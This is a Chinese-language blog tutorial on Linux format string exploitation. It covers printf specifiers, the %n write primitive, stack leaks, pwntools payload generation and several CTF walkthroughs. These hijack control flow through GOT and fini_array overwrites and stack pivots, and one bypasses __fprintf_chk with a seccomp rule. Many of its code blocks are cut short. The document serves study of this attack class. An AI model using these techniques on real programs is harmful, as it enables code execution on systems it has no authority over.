linux 格式化字符串利用

基础知识
常见格式化字符串函数
函数名称 | 基本介绍 | 函数原型 | 返回值 | 使用场景与说明 |
---|---|---|---|---|
printf |
将格式化字符串输出到标准输出 stdout (通常是终端) |
int printf(const char *format, ...); |
返回成功写入的字符数,不包括终止符;失败返回负值 | 最常用的输出函数,适用于向屏幕输出调试信息或用户提示 |
fprintf |
将格式化字符串输出到指定的文件流 FILE * |
int fprintf(FILE *stream, const char *format, ...); |
同上 | 用于向文件、stderr (错误流)等输出,比如错误日志 fprintf(stderr, "error") |
vprintf |
printf 的变体,使用 va_list 参数列表 |
int vprintf(const char *format, va_list ap); |
同上 | 用于封装变参函数时,传递格式化输出,如自定义日志函数 |
vfprintf |
fprintf 的变体,使用 va_list 参数列表 |
int vfprintf(FILE *stream, const char *format, va_list ap); |
同上 | 与 vprintf 类似,但可以输出到文件或 stderr |
sprintf |
将格式化结果输出到字符串(不安全) | int sprintf(char *str, const char *format, ...); |
写入字符串的字符数,不包括终止符;失败返回负值 | 存在缓冲区溢出风险,应尽量避免使用,推荐用 snprintf 替代 |
snprintf |
将格式化结果输出到字符串,限制最大写入字节数 | int snprintf(char *str, size_t size, const char *format, ...); |
如果输出字符总数 < size,则返回该数值;否则返回原始总字符数(不包括 \0 ) |
安全版本,适合防止溢出,在写入用户缓冲区时推荐使用 |
vsprintf |
sprintf 的变体,使用 va_list 参数 |
int vsprintf(char *str, const char *format, va_list ap); |
同上 | 同样存在缓冲区溢出风险,尽量使用 vsnprintf |
vsnprintf |
snprintf 的变体,使用 va_list 参数 |
int vsnprintf(char *str, size_t size, const char *format, va_list ap); |
同 snprintf |
安全的变参版本,常用于日志封装和动态构建字符串 |
常用格式化字符串形式
1 | %[parameter][flags][width][.precision][length]specifier |
parameter
(参数位置说明)
- 格式:
n$
- 表示使用第
n
个参数(从 1 开始)作为当前格式化项的目标值。 - 常用于变参函数配合格式字符串精确控制参数顺序(尤其用于格式化字符串漏洞利用)
示例:
1 | printf("%2$d %1$d\n", 10, 20); // 输出:20 10 |
注意
C 标准对格式化字符串参数位置有规定:一旦格式字符串中使用了 n$
(即参数位置说明符),所有的参数都必须使用位置说明符 n$
,否则行为是未定义的。
flags
(标志位)
标志 | 说明 |
---|---|
- |
左对齐 |
+ |
强制显示符号(正数加 + ) |
|
正数前保留空格(若无 + ) |
0 |
使用 0 填充空白 |
# |
与 o /x /X 搭配,强制加前缀(如 0 , 0x , 0X ) |
示例:
1 | printf("%+d", 10); // 输出:+10 |
width
(字段宽度)
- 表示最小输出宽度,若内容不足会用空格或
0
补齐(配合0
标志)。 - 也可以使用
*
作为占位符,通过参数动态指定宽度。
示例:
1 | printf("%5d", 42); // 输出:" 42" |
.precision
(精度控制)
- 含义因类型不同而异:
- 对整数(如
%d
):表示最小数字位数(不足补零,不影响符号) - 对浮点数:小数点后保留的位数
- 对字符串:输出最大字符数(可用于截断)
- 对整数(如
示例:
1 | printf("%.3d", 7); // 输出:007 |
length
(长度修饰符)
长度 | 类型说明(影响对应参数解释方式) |
---|---|
hh |
signed char / unsigned char (1 字节) |
h |
short / unsigned short (2 字节) |
l |
long / unsigned long (4 或 8 字节) |
ll |
long long / unsigned long long (8 字节) |
z |
size_t (常用于跨平台打印 size_t 类型) |
j |
intmax_t / uintmax_t (最大整数) |
t |
ptrdiff_t |
L |
long double (浮点数) |
specifier
(转换符号)
类型 | 说明 |
---|---|
d , i |
有符号十进制整数 |
u |
无符号十进制整数 |
o |
八进制(无符号) |
x , X |
十六进制(小写/大写) |
f , F |
浮点数(十进制) |
e , E |
浮点数(指数形式) |
g , G |
自动选择 f 或 e 表示法 |
c |
单个字符 |
s |
字符串 |
p |
指针地址(以十六进制形式打印) |
n |
不输出内容,将当前输出的字符数量写入对应参数指向的地址 |
%n
类型变体说明(常见于漏洞利用)
格式 | 含义 |
---|---|
%n |
向 int * 写入当前已输出字符数(4 字节) |
%hn |
向 short * 写入(2 字节) |
%hhn |
向 char * 写入(1 字节) |
%ln |
向 long * 写入(32位 4字节,64位 8字节) |
%lln |
向 long long * 写入(8 字节) |
⚠️
%n
可用于写任意值,构成典型格式化字符串漏洞利用的写原语,配合参数偏移、宽度控制(%c)等实现任意地址写。
示例:
1 | int n; |
原理验证
示例程序:
1 |
|
32位
编译命令:
1 | gcc test.c -g -m32 -o test |
输出结果:
1 | aaaa.0x20.(nil).0x565561c5.(nil).(nil).0x61616161.0x2e70252e |
栈结构:
00:0000│ esp 0xffffd030 —▸ 0xffffd048 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p' 01:0004│-094 0xffffd034 ◂— 0x20 /* ' ' */ 02:0008│-090 0xffffd038 ◂— 0 03:000c│-08c 0xffffd03c —▸ 0x565561c5 (main+24) ◂— add ebx, 0x2e0f 04:0010│-088 0xffffd040 ◂— 0 05:0014│-084 0xffffd044 ◂— 0 06:0018│ eax 0xffffd048 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p' 07:001c│-07c 0xffffd04c ◂— '.%p.%p.%p.%p.%p.%p.%p'
自上而下依次是参数 0~6
,参数 0
为格式化字符串地址,而格式化字符串前 4
字节又作为参数 6
(由于栈结构不同,需要视情况而定)。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。
64位
编译命令:
1 | gcc test.c -g -m64 -o test |
输出结果:
1 | aaaa.0x7fffffffde79.(nil).0x1.(nil).0x7fffffffdd28.0x2e70252e61616161.0x70252e70252e7025 |
寄存器:
*RAX 0x6b RBX 0 *RCX 1 *RDX 0 *RDI 0x7fffffffd900 —▸ 0x7ffff7c62050 (funlockfile) ◂— endbr64 *RSI 0x7fffffffde79 ◂— 0 *R8 0 *R9 0x7fffffffdd28 ◂— '70252e70252e7025' *R10 0 *R11 0x70252e70252e7025 ('%p.%p.%p') R12 0x7fffffffdfe8 —▸ 0x7fffffffe368 ◂— '/home/sky123/Desktop/t' R13 0x555555555169 (main) ◂— endbr64 R14 0x555555557db8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555120 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f RBP 0x7fffffffded0 ◂— 1 RSP 0x7fffffffde60 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p' *RIP 0x55555555520f (main+166) ◂— mov eax, 0
栈结构:
00:0000│ rsp 0x7fffffffde60 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p' 01:0008│-068 0x7fffffffde68 ◂— '%p.%p.%p.%p.%p.%p' 02:0010│-060 0x7fffffffde70 ◂— '.%p.%p.%p' 03:0018│ rsi-1 0x7fffffffde78 ◂— 0x70 /* 'p' */ 04:0020│-050 0x7fffffffde80 ◂— 0 ... ↓ 3 skipped
由于 64 位程序先使用 rdi
、rsi
、rdx
、rcx
、r8
、r9
寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上,第一个参数是格式化字符串指针。因此前 5
个格式化字符串参数对应的输出为寄存器中的值,格式化字符串前 8 个字节作为参数 6
。
泄露内存
泄露栈变量内存
泄露栈变量的值
对于 printf
来说获取栈中被视为第 n
个参数的值可以用 %n$x
(%n$p
)来泄露。
注意
%x
其实只是%d
的 16 进制输出,对应的是 32 位也就是 4 字节;在 64 位操作系统下,只会截取后 32 位;%p
和系统位数关联没有问题,因此建议用%p
。- 这里的
n
表示会被格式化字符串处理的参数中的第几个(从 1 开始数),例如在amd64
架构下,snprintf(buf, 0x100, input)
的input
是可控输入。那么:- 格式化字符串的参数是从
input
之后开始数的,也就是说存放在rcx
的snprintf
的第 4 个参数被认为是格式化字符串的第1
个参数。而位于栈顶的参数被认为是第4
个参数。 - 如果此时格式化字符串本体
input
存放在距离栈顶偏移0x530
的位置上,那么就被认为是第0x530/8 + 4 = 170
个参数。
- 格式化字符串的参数是从
- 对于
n = 1
的情况直接写%1$p
是个无效的格式化字符串,此时格式化字符串函数通常会将其当做普通字符串输出,因此要特判n = 1
的情况位%p
。
泄露栈变量对应对应地址的内容
对于 printf
来说获取栈中被视为第 n
个参数指向的地址处的值可以用 %n$s
泄露。
泄露任意地址内存
获取地址 addr
处的值(addr
为第 k
个参数):addr%k$s
注意
- 实际情况(尤其是 64 位下)
addr
地址的数字长度通常不够机器字长,高位会填充 0,因此会造成格式化字符串的 0 截断导致后面的格式化字符串本体不能被格式化字符串函数解析。为了应对这种情况可以把addr
放到格式化字符串的后面。 - 格式化字符串中的地址
addr
在栈中可能不关于机器字长对齐,此时需要在地址前填充一些数据确保其能够对齐。
覆盖内存
覆盖内存的原理是 %k$n
可以覆盖第 k 个参数指向的地址为已经输出的字符数量。
注意:覆盖内存只能覆盖栈上某地址指向的内存,而不是直接覆盖栈上某地址。
pwntools生成payload
对于格式化字符串payload,pwntools也提供了一个可以直接使用的类 Fmtstr
,具体文档见http://docs.pwntools.com/en/stable/fmtstr.html。
其中 fmtstr_payload
会根据给定参数生成载荷。它可以为 32 位或 64 位架构生成载荷。地址的大小取决于 context.bits
。
1 | pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')→ str[source] |
- **
offset
(int)**:格式化字符串算作第几个参数。- 例如在
amd64
架构下,snprintf(buf, 0x100, input)
的input
是可控输入。那么如果此时格式化字符串本体input
存放在距离栈顶偏移0x530
的位置上,那么就被认为是第0x530/8 + 4 = 170
个参数。 - 如果格式化字符串本体在栈上没有按照机器字长对齐需要在前面手动在前面填充字符确保对齐。
- 例如在
- **
writes
(dict)**:包含要写入地址和写入的值的字典,例如{addr1: value1, addr2: value2}
。 - **
numbwritten
(int, 可选)**:格式化字符串函数已输出的字节数。 - **
write_size
(str, 可选)**:必须是'byte'
、'short'
或'int'
。指定是按字节、按短整数还是按整数写入(对应%hhn
、%hn
或%n
),默认值为'byte'
。 overflows
(int, 可选):允许多少额外的溢出(按大小sz
)以减少格式字符串的长度。这个参数是格式化字符串长度与输出量之间的权衡:较大的overflows
值会生成较短的格式字符串,但在运行时会生成更多的输出。- **
strategy
(str, 可选)**:可以是'fast'
或'small'
。默认值为'small'
,当有多个写操作时可以使用'fast'
。 - **
no_dollars
(bool, 可选)**:是否生成不带$
符号的载荷。
示例:
1 | context.clear(arch='amd64') |
手动构造payload
覆盖小数字
对于小于机器字长的数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面。
以数字2为例:aa%k$n[padding][addr]
覆盖大数字
直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干个部分,分别进行覆盖。比如hhn
按字节写或hn
按双字写。
以 hhn
写入 32bit 数为例,payload 形式为:[addr][addr+1][addr+2][addr+3]%(val1)c%k$hhn%(val2-val1)c%(k+1)$hhn%(val3-(val2-val1))c%(k+2)$hhn%(val4-(val3-(val2-val1)))c%(k+3)$hhn
当然如果地址有 0 截断需要把地址放到后面,不过此时要考虑地址对齐。
例题:ciscn_2019_sw_1
保护情况:
Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
主程序典型的格式化字符串漏洞。
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
init_array
和 fini_array
中存放的函数指针分别在加载和结束时依次调用,且仅在 RELRO
为 NO RELRO
时可以修改。为了多次利用格式化字符串漏洞,需要将 fini_array
修改为 main
函数地址。
第一次执行 main
函数将 fini_array
修改为 main
函数地址,且将 printf@got
修改为 system@plt
。
名称 | 地址 |
---|---|
fini_array |
0x0804979C |
main |
0x08048534 |
printf@got |
0x0804989C |
system@plt |
0x080483D0 |
payload
为:
1 | payload = p32(fini_array+2) + p32(printf_got+2) |
第二次执行 main
函数 发送 \bin\sh
获取 shell
。
堆上格式化字符串通用解法
例题:2022 Midnight Sun CTF speed6
存在一个堆上格式化字符串。
1 | unsigned int vuln() |
main
函数循环调用 call_vuln
函数,而 call_vuln
函数经过多层函数调用最终调用到 vuln
函数。
1 | void __cdecl __noreturn main() |
首先通过格式化字符串漏洞我们可以泄露栈地址和 libc 基址。
之后考虑构造任意地址写原语。由于格式化字符串在堆上,我们不能直接在栈上布置要写入的地址,因此需要借助栈上的 ebp 链进行构造。
我们发现只要栈上存在一个有 2 跳的 ebp链就可以构造栈上相对地址写原语:
由于我们有了栈上相对地址写原语,因此可以进一步构造任意地址写原语:
有了任意地址读写后就考虑如何劫持程序执行流程。
由于格式化字符串函数在一个死循环里面且格式化字符串漏洞无法再一次循环中写入完整地址,因此不能通过直接栈上写 ROP 的方式劫持程序执行流程。
但是由于本题的 RELRO 保护为 Partial RELRO ,可以改 got 表,并且开启 canary 保护,因此我们可以考虑修改 __stack_chk_fail@got
,然后再修改 canary 调用 __stack_chk_fail
函数劫持程序执行流程。
最直接的方法是在 __stack_chk_fail@got
上写 one_gadget 。不过这里有一个更通用的方法,那就是通过栈迁移到栈上的 ROP 完成 get shell 。
我们利用 IDAPython 脚本在 libc 中搜索合适的栈迁移 gadget 。
1 | import idc |
最终找到了一个可以将 esp 加 0x100 的 gadget 。
1 | 0xa08c9 : add esp, 100h; sub eax, edx; retn; |
我们只需要再栈迁移的目标地址上利用栈上相对地址写原语写入 ROP 即可。
1 | from pwn import * |
例题:2019 xman format
同样是格式化字符串。
1 | void __cdecl sub_8048651() |
但与上一题不同的是这次的格式化字符串是离线操作,不能泄露地址。
1 | void __cdecl vuln(char *buf) |
另外还有一个后门函数。
1 | int backdoor() |
由于不能泄露地址,因此只能爆破 ebp 链指向返回地址然后写返回地址为 backdoor
函数地址来 get shell 。
1 | from pwn import * |
fprintf_chk 绕过
fprintf_chk
执行 %n
会报错,检测逻辑(glibc2.23
)。
1 | LABEL(form_number) : if (s->_flags2 & _IO_FLAGS2_FORTIFY) { \ |
__readonly_area
会通过 fopen
打开 /proc/self/maps
来判断 format
是否是只读段。也就是说只有 format
的内存只读的时候才能有 %n
,从而避免了通过修改 format
实现任意地址写。
1 | int __readonly_area(const char *ptr, size_t size) { |
结构体 __IO_FILE
利用 _fileno
存储该文件的文件描述符。
1 | _IO_FILE * _IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot, int read_write, int is32not64) { |
如果控制 seccomp
让 open
函数返回 0 就会使 __readonly_area
程序从标志输入中读取数据进行判断,此时只需要输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm
即可绕过 %n
检测。
例题:2019 中国技能大赛 pwn2
edit
函数可以编辑 rule
。
1 | unsigned __int64 edit() |
set
功能可以把 rule
设应用到沙箱。
1 | unsigned __int64 set() |
add
功能有 __fprintf_chk
的格式化字符串漏洞,并且如果 random_num
的值为 0x30 则可以泄露基址。
1 | unsigned __int64 leak_libc() |
另外 edit
被 patch 过,在函数开头会向栈中 push 全局变量 random_num
的地址,不难想到 random_num
可以被格式化字符串漏洞修改成 0x30 。
1 | .text:0000000000400DCC push offset random_num |
首先编写一个沙箱规则使得系统调用 open
在打开 /proc/self/maps
时会返回 0 。
我们可以通过 open
的第一个参数最低字节是否为 \x7c
来判断打开的是不是 /proc/self/maps
。
另外注意沙箱规则中的 ERRNO
是系统调用返回的错误码,这个与直接终止进程的 KILL
是不同的。
1 | A = arch |
利用 seccomp-tools
生成规则。
1 | ➜ seccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm - |
在调用 __fprintf_chk
时 random_num
位于第 6 个参数,而格式化字符串位于第 2 个参数,因此构造格式化字符串 %16p%16p%16p%ln
可以输出 0x30 个字符且 %ln
恰好对应 random_num
。这样就可以将 random_num
修改为 0x30 实现 libc 基址泄露。另外注意由于沙箱规则使得 open
打开 /proc/self/maps
时会返回 0 ,因此需要在调用 __fprintf_chk
时输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm
绕过__fprintf_chk
的检查。
后续按照同样的方法修改 free@got
为 system
函数地址完成 getshell 。
fini_array 不可写绕过
1 | if (l->l_info[DT_FINI_ARRAY] != NULL) { |
调用的汇编代码如下(ubuntu18.04
).
1 | 0x7ff6e56accff <_dl_fini+447> lea r15, [rcx + rdx*8] |
rdx 固定为 0 ,rcx 来自下面的代码片段。
1 | 0x7ff6e56accda <_dl_fini+410> mov r15, qword ptr [rax + 8] <_DYNAMIC+88> |
r13 的值为一个指针,该指针在 printf
执行的栈上存在,可以控制 [r13]
为 target_ptr - fini_array_addr
从而劫持 fini_array
。
- Title: linux 格式化字符串利用
- Author: sky123
- Created at : 2024-11-08 03:13:03
- Updated at : 2025-07-23 02:05:46
- Link: https://skyi23.github.io/2024/11/08/linux-format-string-exploit/
- License: This work is licensed under CC BY-NC-SA 4.0.